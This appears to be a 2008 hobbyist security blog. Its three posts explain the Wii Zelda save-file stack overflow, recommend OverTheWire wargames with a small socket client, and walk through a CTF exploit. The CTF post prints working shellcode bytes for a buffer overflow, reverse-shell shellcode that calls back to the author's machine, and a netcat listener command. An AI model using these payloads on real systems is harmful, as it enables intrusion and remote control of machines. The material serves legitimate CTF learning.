Tuesday, June 24, 2008

Wii Stack Smashing Explanation

So there has been a lot of talk about the Zelda : Twilight Princess save hack that is floating around wiibrew, and not a lot of people actually understand what is going on here, and how simple the hack really is.

I will try to update this as I do more research, but this should make sense to those who follow Aleph1's smashing the stack for fun & profit.

The first thing that is needed to fill the buffer with "shellcode" like Aleph1 uses, is to grab the latest Devkitpro (http://www.devkitpro.org/) and start compiling your very own GC/Wii code via the libogc. Rummage through the examples until you get to the part where you can actually compile, then take a look at some of the DOL launcher sources out there (real source to come later.)

Once you have a successfully compiling piece of code, you'll need to rip the actual opcodes from the binary file to obtain what we will be needing to fill the buffer with. (explanation of how to do this also coming later.)

Now that you have the opcodes, double check for 0x00 so you don't wind up with an end of string error, and get ready to find the magic number that lets us overwrite into places of the forbidden.

So for example, in Zelda, when a dialogue box is popped up to say the horses name, it reads the save data into a buffer using a strcpy() (which its assuming is some magic number at this point), and puts that into our dialogue string. However, because we've hijacked the horse's name and are overloading it so that strcpy actually overflows into the next chunks of data in memory, we can take control of the EIP and start running our opcode we saved earlier.

So much like Aleph1's demonstration, we have [bogus nops][opcode][eip rewrite], the dialogue calls strcpy, hits the eip rewrite, jumps us back to our opcode, and we have full control. Power to the PPC!

Now this is speculation, I haven't actually coded this hack and I don't know how the Wii save compression/decompression works, so there could be some more complicated steps in this procedure. However, because this relies on a strcpy() on an invalid name, one could speculate that many games are vulnerable to this. Nintendo does not require a full security assessment when validating games, so it is very feasible that other Nintendo games & 3rd party games are equally vulnerable (any game that saves some sort of name, and later calls an unsafe strcpy.) I might go through my collection and see if I can come up with a list. If I can figure out how they are compressing the saves without an official NDEV kit, I'll try to post some of my findings.

**** Note about Wii Patch 3.3

So essentially the reason why this was broken so quickly was Nintendo literally introduced a kernel function that checks for a Zelda hack memory file (its like a more complicated md5/sig checker.) What they are supposed to do is introduce a stack protection scheme into the kernel, but could they do this without rewriting half of their kernel calls?? Probably not, and they don't want to spend the hundreds of thousands of dollars that would cost them just to prevent a few homebrewers from running their favorite software on the thing.

I believe the PS3 & Xbox 360 are both safe from this type of attack because of stack protection measures, they probably introduced this into the Xbox 360 early on just because its such a buggy system in the first place :) If I'm wrong on that one, please correct me! The PSP was 100% vulnerable, and you can see it with the Lumines & GTA exploit. There was also a common TIFF library exploit I believe it was, that allowed the < 2.00 psps from being cracked. But I'll leave that for another day :)

Wednesday, June 11, 2008

OverTheWire.org

Holy crap, I finally found a pretty decent root-this-box type of wargames site. I've done most of the Hackthissite.org challenges, they are decent but don't teach you the essentials in reversing. Even the application challenges are more about cracking rather than popping a shell. So while reading through a phrack article, there was a link to http://www.overthewire.org/ As it turns out, this is a pretty nice place to practice and learn, there are no tutorials, very minimal comments, and the challenges are damn tricky. I'm stuck on Level 3 currently, Level 2 was a huge "Oh DUH" Linux syntax thing. You have full access to their SSH, they run a pretty decent stack overflow prevention program, so most of the exploits you wind up doing are based on some if condition, or overwriting the frame or something. No EIP pwnage here, but still some pretty brutal challenges.

http://www.overthewire.org/node/399 if you get stuck on Level0 and need help. I tried writing this thing in Python, but with no luck. I had to make a few modifications to get this working with Winsock2 rather than Netdb, here's the code I used.



#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

// Need to link with Ws2_32.lib, Mswsock.lib, and Advapi32.lib

#define DEFAULT_BUFLEN 37
#define PORT 5842
#define IP "69.55.233.89"

int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in s;
int a,b,c,d;
int x;
char xc[128];
char recvbuf[DEFAULT_BUFLEN];
int iResult;

// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed: %d\n", iResult);
return 1;
}

ConnectSocket = socket(PF_INET, SOCK_STREAM,0);
s.sin_family = AF_INET;
s.sin_port = htons(PORT);
s.sin_addr.s_addr = inet_addr(IP);

connect( ConnectSocket,(SOCKADDR*) &s, sizeof(s));

recv(ConnectSocket,(char*)&a,sizeof(unsigned int),0);
recv(ConnectSocket,(char*)&b,sizeof(unsigned int),0);
recv(ConnectSocket,(char*)&c,sizeof(unsigned int),0);
recv(ConnectSocket,(char*)&d,sizeof(unsigned int),0);

printf("A = %d, B = %d, C = %d, D = %d\n",a,b,c,d);

x = a+b+c+d;

printf("Sum=%i\n",x);

send(ConnectSocket,(const char*)&x,sizeof(int),0);

recv(ConnectSocket, recvbuf, DEFAULT_BUFLEN, 0);

printf("Answer = %s", recvbuf);

// cleanup
closesocket(ConnectSocket);
WSACleanup();

return 0;
}

Friday, June 6, 2008

Kenshoto CTF2008 pre-qual RealWorld200 Solution

Here was a problem that I had been working on with Evan (syn) at the CTF the other weekend, and I finally wrote up the solution into two scripts.

The first script uses the EAX found by setting a breakpoint at 0x8048d2f, this is "random" but has massive amounts of collisions when checked against multiple times via Evan's solution write up. So once you break here and check the value of EAX (also whats inside), you'll see your stack, and bingo you can rewrite the EIP and get a shell.

So after breaking here, I found the EAX to be at 0x08054600, so I could use this for my injection into the buffer.

However, because we're restricted to 64 bytes of shellcode space, I opted to use the 43 byte Metasploit Shellcode "bsd_ia32_reverse_stg", which opens up a port that accepts a new shellcode script of any size. So with both of these things in mind, I also filled the buffer with a small NOP sled, just in case I was off by 1, or the memory got close to this point and hit somewhere in the NOPs.

So now my connection string will look like <nop>
<shellcode><eip>, which looks like the following:

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x61\x58\x99\x52\x68
\x10\x02\x02\x9a\x89\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99
\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\xb6
\x10\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97\x6a\x03\x58\xcd\x80\xc3
\x00\x46\x05\x08


notice the EIP at the end is reverse, because its reading it in from lowest to highest when you overwrite the EIP. so \x00\x46\x05\x08 = 0x08054600, which is very important.

Now, run this a few times with a python script, and you should have a port on 666 waiting for a new shellcode.

Injecting the new shellcode is easy, I opted for a reverse bind shell that would give me /bin/sh, mostly because I didn't want to leave a port open on the box for other people to connect to.

Using Metasploits opcode generator, I created the following shellcode:

\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x25
\x7a\x72\xb3\x83\xeb\xfc\xe2\xf4\x4f\x1b\x2a\x2a\x77\x38\x20\xf1
\x77\x12\xde\xa3\x2d\x7b\xbf
\x33\x4d\x6a\x70\xaa\xaa\xf3\x93\xd9
\x35\x2b\x22\xe2\xb2\x10\x10
\xeb\xe8\xfa\x18\xb1\x7c\xca\x28\xe2
\x72\x2b\xbf\x33\x6c\x03\x84
\xe3\x4d\x55\x5d\xc0\x4d\x12\x5d\xd1
\x4c\x14\xfb\x50\x75\x2e\x21
\xe0\x95\x41\xbf\x33

This code will reverse connect to my IP (local NAT via VMware for now) on port 667, and give me a full access /bin/sh!

So using a shell on my local machine, I setup a netcat to listen via: nc -vvnlp 667 send off my new shellcode to port 666, and with any luck receive a connection on the Netcat, which means I now have owned this box, full root privileges, and am ready to grab the key for the challenge!

Here are some useful links if you want to try it out for yourself (you'll need to modify the shell-script for your desired ports/IPs):
http://www.nopsr.us/ctf2008qual/ - questions
http://www.metasploit.com/shellcode/bsd/ - nice shellcode generators for BSD
http://cthulhu32.kraln.com/ctf2k8/200rwstage1.py - my first script, I run it 300 times to ensure a 666 port
http://cthulhu32.kraln.com/ctf2k8/200rwstage2.py - my second script, connects back to 172.16.8.1 on port 667.
http://syndrowm.com/ctf2008qual/rw200-writeup.txt - Evan's writeup to the problem (he doesn't disclose the EAX location, and my scripts are entirely based on his little connector script.)

The binaries should be posted on Nopsr.us soon, if they don't get them up in the next few days I'll throw Real-World 200 up.

Opening to a blog